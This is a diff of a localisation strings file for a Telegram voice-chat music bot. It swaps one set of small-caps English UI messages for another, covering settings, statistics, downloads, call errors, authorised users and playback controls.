-setting_10 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n1) ɢʀᴏᴜᴘ: ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ ᴡʜᴇʀᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ɪs ɢɪᴠᴇɴ.\n\n2) ᴄʜᴀɴɴᴇʟ: ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ ʏᴏᴜ ᴡᴀɴᴛ. sᴇᴛ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay"
-setting_11 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n1) ᴇᴠᴇʀʏᴏɴᴇ: ᴀɴʏᴏɴᴇ ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ʜᴇʀᴇ.\n\n2) ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴘʟᴀʏ ᴛʜᴇ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ."
-setting_12 : "❌ ʏᴏᴜ'ᴠᴇ ɴᴏ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴅᴇꜰɪɴᴇᴅ ꜰᴏʀ ᴄʜᴀɴɴᴇʟ ᴍᴏᴅᴇ. ᴘʟᴇᴀsᴇ ᴅᴇꜰɪɴᴇ ᴡɪᴛʜ /channelplay."
-setting_13 : "ᴄᴀɴ'ᴛ ᴄʜᴀɴɢᴇ ᴘʟᴀʏ ᴍᴏᴅᴇ ɪɴ ᴀᴄᴛɪᴠᴇ ɢʀᴏᴜᴘ ᴄᴀʟʟ. ᴘʟᴇᴀsᴇ sᴛᴏᴘ ᴛʜᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ ꜰɪʀsᴛ ᴡɪᴛʜ /stop or /end."
-setting_14 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\nᴡʜᴇɴ ᴀᴄᴛɪᴠᴀᴛᴇᴅ, ʙᴏᴛ ᴡɪʟʟ ᴅᴇʟᴇᴛᴇ ɪᴛs ᴇxᴇᴄᴜᴛᴇᴅ ᴄᴏᴍᴍᴀɴᴅs (/play, /pause, /shuffle, /stop ᴇᴛᴄ) ɪᴍᴍᴇᴅɪᴀᴛᴇʟʏ.\n\nʙᴏᴛ ᴡɪʟʟ ʙᴇ ʀᴇǫᴜɪʀɪɴɢ ᴅᴇʟᴇᴛᴇ ᴍᴇssᴀɢᴇs ᴀᴅᴍɪɴ ʀɪɢʜᴛ ꜰᴏʀ ᴛʜɪs ᴛᴏ ᴡᴏʀᴋ ᴘʀᴏᴘᴇʀʟʏ."
-setting_15 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ʀᴇsᴏʟᴠᴇ ᴘᴇᴇʀ, ᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ ʜᴀᴠᴇ ᴀᴅᴅᴇᴅ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ɪᴛ ᴀs ᴀᴅᴍɪɴ ʙᴀʙʏ.\n\nᴛʀʏ sᴇᴛᴛɪɴɢ /channelplay ᴀɢᴀɪɴ."
-setting_16 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\nᴡʜᴇɴ ᴛʜɪs ɪs ᴀᴄᴛɪᴠᴀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ sᴜɢɢᴇsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ ɪɴ ᴇᴠᴇʀʏ 1-2 ʜᴏᴜʀ ᴀʙᴏᴜᴛ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅs ᴏғ ᴛʜᴇ ʙᴏᴛ."
-
-set_cb_1 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴅɪᴏ ǫᴜᴀʟɪᴛʏ ᴩᴀɴᴇʟ..."
-set_cb_2 : "ɢᴇᴛᴛɪɴɢ ᴠɪᴅᴇᴏ ǫᴜᴀʟɪᴛʏ ᴩᴀɴᴇʟ..."
-set_cb_3 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ᴩᴀɴᴇʟ..."
-set_cb_4 : "ɢᴇᴛᴛɪɴɢ ᴩʟᴀʏ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..."
-set_cb_5 : "ɢᴇᴛᴛɪɴɢ ᴄʟᴇᴀɴ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..."
-set_cb_6 : "sᴇᴛᴛɪɴɢ ᴜᴩ ᴄʜᴀɴɢᴇs..."
-set_cb_7 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ʟɪsᴛ..."
-set_cb_8 : "ɢᴏɪɴɢ ʙᴀᴄᴋ..."
-
-# Misc
-ustats_1 : "ɴᴏ ᴜsᴇʀ sᴛᴀᴛs ꜰᴏᴜɴᴅ."
-ustats_2 : "ɢʀᴇᴛᴛɪɴɢs ʙᴀʙʏ !, ʏᴏᴜ ʜᴀᴠᴇ ᴘʟᴀʏᴇᴅ **{0}** ᴛʀᴀᴄᴋs ᴛɪʟʟ ɴᴏᴡ ᴡɪᴛʜ ᴀ ᴡʜᴏᴘᴘɪɴɢ ᴄᴏᴜɴᴛ ᴏꜰ **{1}** ᴛɪᴍᴇs.\n\nᴛᴏᴘ **{2}** ᴘʟᴀʏᴇᴅ ʙʏ ʏᴏᴜ:\n\n"
-
-gstats_1 : "ɢᴇᴛᴛɪɴɢ ɢʟᴏʙᴀʟ sᴛᴀᴛs, ᴛʜɪs ᴄᴏᴜʟᴅ ᴛᴀᴋᴇ sᴏᴍᴇ ᴛɪᴍᴇ..."
-gstats_2 : "ɴᴏ ɢʟᴏʙᴀʟ sᴛᴀᴛs ꜰᴏᴜɴᴅ."
-gstats_3 : "ɢᴇᴛᴛɪɴɢ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 {0} ᴏꜰ ᴛʜᴇ ʙᴏᴛ, ᴛʜɪs ᴄᴏᴜʟᴅ ᴛᴀᴋᴇ sᴏᴍᴇ ᴛɪᴍᴇ..."
-gstats_4 : "**ᴛᴏᴛᴀʟ ǫᴜᴇʀɪᴇs ᴏɴ ʙᴏᴛ:** {0}\n\n{1} ʜᴀs ᴘʟᴀʏᴇᴅ **{2}** ᴛʀᴀᴄᴋs ᴛɪʟʟ ɴᴏᴡ ᴡɪᴛʜ ᴀ ᴡʜᴏᴘᴘɪɴɢ ᴄᴏᴜɴᴛ ᴏꜰ **{3}** ᴛɪᴍᴇs.\n\n**ᴛᴏᴘ {4} ᴛʀᴀᴄᴋs:**\n"
-gstats_5 : "**ᴛᴏᴘ {0} ᴄʜᴀᴛs ᴏꜰ {1}:**\n\n"
-gstats_6 : "**ᴛᴏᴩ {0} ᴜsᴇʀs ᴏғ {1}:**\n\n"
-gstats_7 : "ᴛʜɪs ᴄʜᴀᴛ ɢʀᴏᴜᴘ ʜᴀs ᴘʟᴀʏᴇᴅ **{0}** ᴛʀᴀᴄᴋs ᴛɪʟʟ ɴᴏᴡ ᴡɪᴛʜ ᴀ ᴡʜᴏᴘᴘɪɴɢ ᴄᴏᴜɴᴛ ᴏꜰ **{1}** ᴛɪᴍᴇs.\n\nᴛᴏᴘ {2} ᴘʟᴀʏᴇᴅ ʙʏ ᴛʜɪs ᴄʜᴀᴛ ɢʀᴏᴜᴘ:\n\n"
-gstats_8 : "ɢᴇᴛᴛɪɴɢ ʙᴏᴛ's ɢᴇɴᴇʀᴀʟ sᴛᴀᴛs ᴀɴᴅ ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ.. ᴛʜɪs ᴄᴏᴜʟᴅ ᴛᴀᴋᴇ sᴏᴍᴇ ᴛɪᴍᴇ..."
-gstats_9 : "**ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 sᴛᴀᴛs ᴏꜰ ᴛʜᴇ ʙᴏᴛ ʙᴀʙʏ**\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ꜰʀᴏᴍ ʙᴇʟᴏᴡ ꜰᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴄʜᴇᴄᴋ ɢʟᴏʙᴀʟ sᴛᴀᴛs ꜰʀᴏᴍ ʙᴏᴛ's sᴇʀᴠᴇʀs."
-gstats_10 : "**ɢʟᴏʙᴀʟ sᴛᴀᴛs ᴏғ {0}**\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ғʀᴏᴍ ʙᴇʟᴏᴡ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴄʜᴇᴄᴋ ɢʟᴏʙᴀʟ sᴛᴀᴛs ғʀᴏᴍ ʙᴏᴛ's sᴇʀᴠᴇʀs."
-gstats_11 : "**ɢᴇɴᴇʀᴀʟ sᴛᴀᴛs ᴏғ {0}**\nsᴇʟᴇᴄᴛ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ғʀᴏᴍ ʙᴇʟᴏᴡ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴄʜᴇᴄᴋ ɢʟᴏʙᴀʟ sᴛᴀᴛs ғʀᴏᴍ ʙᴏᴛ's sᴇʀᴠᴇʀs.\n\nᴜsᴇ /gstats ᴛᴏ ᴄʜᴇᴄᴋ ᴛᴏᴩ ᴛʀᴀᴄᴋs, ᴄʜᴀᴛs, ᴜsᴇʀs ᴀɴᴅ ᴍᴀɴʏ ᴏᴛʜᴇʀ sᴛᴜғғs."
-
-# Play
-
-#Play Callback
-playcb_1 : "ᴛʜɪs ɪs ɴᴏᴛ ꜰᴏʀ ʏᴏᴜ ʙᴀʙʏ ! sᴇᴀʀᴄʜ ʏᴏᴜ ᴏᴡɴ."
-playcb_2 : "ɢᴇᴛᴛɪɴɢ ɴᴇxᴛ ʀᴇsᴜʟᴛ..."
-
-# Channel Play
-cplay_1 : "ʏᴏᴜ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴄʜᴀɴɴᴇʟs ꜰʀᴏᴍ ᴛʜɪs ᴄʜᴀᴛ [{0}] ᴛᴏ ᴀɴʏ ᴄʜᴀɴɴᴇʟ ᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ's ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\n\n**ꜰᴏʀ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ:**\n/{1} ʟɪɴᴋᴇᴅ\n\n**ꜰᴏʀ ᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀɴɴᴇʟ:**\n/{1} [ᴄʜᴀɴɴᴇʟ ɪᴅ]"
-cplay_2 : "ᴛʜɪs ᴄʜᴀᴛ ʜᴀs ɴᴏ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ."
-cplay_3 : "ᴄʜᴀɴɴᴇʟ ᴅᴇꜰɪɴᴇᴅ ᴛᴏ {0}\n\nᴄʜᴀɴɴᴇʟ ɪᴅ: {1}"
-cplay_4 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ ʜᴀᴠᴇ ᴀᴅᴅᴇᴅ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ɪᴛ ᴀs ᴀᴅᴍɪɴ.\nᴄʜᴀɴɢᴇ ᴄʜᴀɴɴᴇʟ ᴠɪᴀ /channelplay ᴏʀ ᴅɪsᴀʙʟᴇ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ ᴠɪᴀ /playmode"
+name : 🇺🇸 English
+
+
+general_1 : "» ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ᴏʀ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ ɪᴅ."
+general_2 : "» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ ᴡʜɪʟᴇ ᴘʀᴏᴄᴇssɪɴɢ ʏᴏᴜʀ ǫᴜᴇʀʏ.\n\nᴇxᴄᴇᴘᴛɪᴏɴ : {0}
"
+general_3 : "ʏᴏᴜ'ʀᴇ ᴀɴ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ɪɴ ᴛʜɪs ᴄʜᴀᴛ, ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ғᴏʀ ᴜsɪɴɢ ᴍᴇ."
+general_4 : "» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\n\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ /reload"
+general_5 : "» ʙᴏᴛ ɪsɴ'ᴛ sᴛʀᴇᴀᴍɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ."
+
+tg_1 : "{0} ᴅᴏᴡɴʟᴏᴀᴅᴇʀ\n\nғɪʟᴇ sɪᴢᴇ : {1}\nᴄᴏᴍᴘʟᴇᴛᴇᴅ : {2}\nᴘᴇʀᴄᴇɴᴛᴀɢᴇ : {3}%\n\nsᴘᴇᴇᴅ : {4}/s\nᴇᴛᴀ : {5}"
+tg_2 : "sᴜᴄᴄᴇssғᴜʟʟʏ ᴅᴏᴡɴʟᴏᴀᴅᴇᴅ, ᴘʀᴏᴄᴇssɪɴɢ ғɪʟᴇ...\n\nᴛɪᴍᴇ ᴇʟᴀᴘsᴇᴅ : {0}"
+tg_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴇᴅɪᴀ ғʀᴏᴍ ᴛᴇʟᴇɢʀᴀᴍ, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ..."
+tg_4 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ."
+tg_5 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ ᴏʀ ᴄᴀɴᴄᴇʟʟᴇᴅ."
+tg_6 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ."
+tg_7 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ ʙʏ : {0}"
+tg_8 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴛᴏᴘ ᴛʜᴇ ᴅᴏᴡɴʟᴏᴀᴅ."
+tg_9 : "ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴛʜᴇ ᴏɴɢᴏɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ ᴛᴀsᴋ..."
+
+call_1 : "» ʙᴏᴛ ʀᴇǫᴜɪʀᴇs ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ."
+call_2 : "{0} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ.\n\nɪᴅ : {1}
\nɴᴀᴍᴇ : {2}\nᴜsᴇʀɴᴀᴍᴇ : @{3}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ."
+call_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ.\n\nʀᴇᴀsᴏɴ : {1}
"
+call_4 : "ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nɪɴᴠɪᴛɪɴɢ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ..."
+call_5 : "{0} ᴀssɪsᴛᴀɴᴛ ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ.\n\nᴛʀʏɪɴɢ ᴛᴏ sᴛᴀʀᴛ sᴛʀᴇᴀᴍ..."
+call_6 : "» ғᴀɪʟᴇᴅ ᴛᴏ sᴡɪᴛᴄʜ sᴛʀᴇᴀᴍ, ᴘʟᴇᴀsᴇ ᴜsᴇ /skip ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ᴀɢᴀɪɴ."
+call_7 : "» ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ɴᴇxᴛ ᴛʀᴀᴄᴋ ғʀᴏᴍ ǫᴜᴇᴜᴇ.\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
+call_8 : "Nᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ғᴏᴜɴᴅ.\n\nPʟᴇᴀsᴇ sᴛᴀʀᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ."
+call_9 : "Assɪsᴛᴀɴᴛ ᴀʟʀᴇᴀᴅʏ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\n\nɪғ ᴀssɪsᴛᴀɴᴛ ɪs ɴᴏᴛ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ᴘʟᴇᴀsᴇ sᴇɴᴅ /reboot
ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ."
+call_10 : "Tᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀ ᴇʀʀᴏʀ\n\nᴛᴇʟᴇɢʀᴀᴍ ɪs ʜᴀᴠɪɴɢ sᴏᴍᴇ ɪɴᴛᴇʀɴᴀʟ ᴘʀᴏʙʟᴇᴍs, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴏʀ ʀᴇsᴛᴀʀᴛ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴏғ ʏᴏᴜʀ ɢʀᴏᴜᴘ."
+
+auth_1 : "» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ 25 ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ."
+auth_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+auth_3 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+auth_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+auth_5 : "{0} ɪs ɴᴏᴛ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+auth_6 : "» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
+auth_7 : "» ʟɪsᴛ ᴏғ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ {0} :\n\n"
+auth_8 : "↬ ᴀᴅᴅᴇᴅ ʙʏ :"
+
+reload_1 : "» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴏɴᴄᴇ ɪɴ 3 ᴍɪɴᴜᴛᴇs.\n\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀғᴛᴇʀ {0}."
+reload_2 : "» ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ʀᴇғʀᴇsʜᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ."
+reload_3 : "» ғᴀɪʟᴇᴅ ᴛᴏ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ, ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ᴛʜᴇ ʙᴏᴛ ɪs ᴀᴅᴍɪɴ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ."
+reload_4 : "» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nʀᴇʙᴏᴏᴛɪɴɢ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ."
+reload_5 : "sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇʙᴏᴏᴛᴇᴅ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ.\n\nsᴛᴀʀᴛ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ..."
+
+admin_1 : "» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ʀᴇsᴜᴍᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?"
+admin_2 : "➻ sᴛʀᴇᴀᴍ ᴘᴀᴜsᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀"
+admin_3 : "» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ᴘᴀᴜsᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?"
+admin_4 : "➻ sᴛʀᴇᴀᴍ ʀᴇsᴜᴍᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀"
+admin_5 : "➻ sᴛʀᴇᴀᴍ ᴇɴᴅᴇᴅ/sᴛᴏᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀"
+admin_6 : "➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀\n\n» ɴᴏ ᴍᴏʀᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs ɪɴ {1}, ʟᴇᴀᴠɪɴɢ ᴠɪᴅᴇᴏᴄʜᴀᴛ."
+admin_7 : "ᴇʀʀᴏʀ ᴡʜɪʟᴇ ᴄʜᴀɴɢɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}."
+admin_8 : "» ᴘʟᴇᴀsᴇ ᴅɪsᴀʙʟᴇ ʟᴏᴏᴘ ᴘʟᴀʏ ᴠɪᴀ /loop disable
ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴛᴏ sᴋɪᴘ ᴀɢᴀɪɴ."
+admin_9 : "ᴘʟᴇᴀsᴇ ᴜsᴇ sᴘᴇᴄɪғɪᴄ ɴᴜᴍʙᴇʀs ғᴏʀ sᴋɪᴘ, ʟɪᴋᴇ 1, 2, 4..."
+admin_10 : "ᴀᴛʟᴇᴀsᴛ 2 ᴛʀᴀᴄᴋs ɴᴇᴇᴅᴇᴅ ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\n\nᴄʜᴇᴄᴋ ᴛʜᴇ ǫᴜᴇᴜᴇ ʙʏ : /queue"
+admin_11 : "» ɴᴏᴛ ᴇɴᴏᴜɢʜ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\n\nᴘʟᴇᴀsᴇ sᴋɪᴘ ʙᴇᴛᴡᴇᴇɴ 1 ᴀɴᴅ {0}"
+admin_12 : "» ғᴀɪʟᴇᴅ ᴛᴏ sᴋɪᴘ ᴛᴏ sᴘᴇᴄɪғɪᴄ ᴛʀᴀᴄᴋ.\n\nᴄʜᴇᴄᴋ ʟᴇғᴛ ǫᴜᴇᴜᴇ ʙʏ : /queue"
+admin_13 : "» ᴘʟᴇᴀsᴇ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload"
+admin_14 : "» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\n\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload"
+admin_15 : "» ғᴀɪʟᴇᴅ ᴛᴏ sʜᴜғғʟᴇ.\n\nᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ ʙʏ : /queue"
+admin_16 : "» ǫᴜᴇᴜᴇ sʜᴜғғʟᴇᴅ ʙʏ {0}.\n\nᴄʜᴇᴄᴋ sʜᴜғғʟᴇᴅ ǫᴜᴇᴜᴇ ʙʏ : /queue"
+admin_17 : "ᴇxᴀᴍᴘʟᴇ :\n\n/loop enable
/disable
\n/loop 10
/9
/8
/7
"
+admin_18 : "» ʟᴏᴏᴘ ᴇɴᴀʙʟᴇᴅ ғᴏʀ {0}
ᴛɪᴍᴇs ʙʏ : {1}."
+admin_19 : "» ʟᴏᴏᴘ ᴘʟᴀʏ ʜᴀs ʙᴇᴇɴ ᴅɪsᴀʙʟᴇᴅ ʙʏ : {0}."
+admin_20 : "ᴇxᴀᴍᴘʟᴇ :\n\n/seek ᴏʀ /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs]"
+admin_21 : "» ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ᴅɪɢɪᴛs ғᴏʀ sᴇᴇᴋɪɴɢ ɪɴ sᴇᴄᴏɴᴅs."
+admin_22 : "» ʟɪᴠᴇ sᴛʀᴇᴀᴍs ᴄᴀɴ'ᴛ ʙᴇ sᴇᴇᴋᴇᴅ."
+admin_23 : "» ᴛʀʏ sᴇᴇᴋɪɴɢ ᴡɪᴛʜ ᴀ ʟᴏᴡᴇʀ ᴅᴜʀᴀᴛɪᴏɴ.\n\nᴘʟᴀʏᴇᴅ {0} ᴏᴜᴛ ᴏғ {1} ᴍɪɴᴜᴛᴇs."
+admin_24 : "sᴇᴇᴋɪɴɢ...\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
+admin_25 : "» sᴛʀᴇᴀᴍ sᴜᴄᴄᴇssғᴜʟʟʏ sᴇᴇᴋᴇᴅ.\n\nᴅᴜʀᴀᴛɪᴏɴ : {0} ᴍɪɴᴜᴛᴇs\nʙʏ : {1}"
+admin_26 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴇᴇᴋ."
+admin_27 : "» ᴏɴʟʏ ʏᴏᴜᴛᴜʙᴇ sᴛʀᴇᴀᴍ's sᴘᴇᴇᴅ ᴄᴀɴ ʙᴇ ᴄᴏɴᴛʀᴏʟʟᴇᴅ ᴄᴜʀʀᴇɴᴛʟʏ."
+admin_28 : "{0} sᴘᴇᴇᴅ ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ\n\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴘʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ."
+admin_29 : "» ʙᴏᴛ ɪs ᴀʟʀᴇᴀᴅʏ ᴘʟᴀʏɪɴɢ ᴏɴ ɴᴏʀᴍᴀʟ sᴘᴇᴇᴅ."
+admin_30 : "» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nsᴏᴍᴇᴏɴᴇ ᴇʟsᴇ ɪs ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ sᴛʀᴇᴀᴍ."
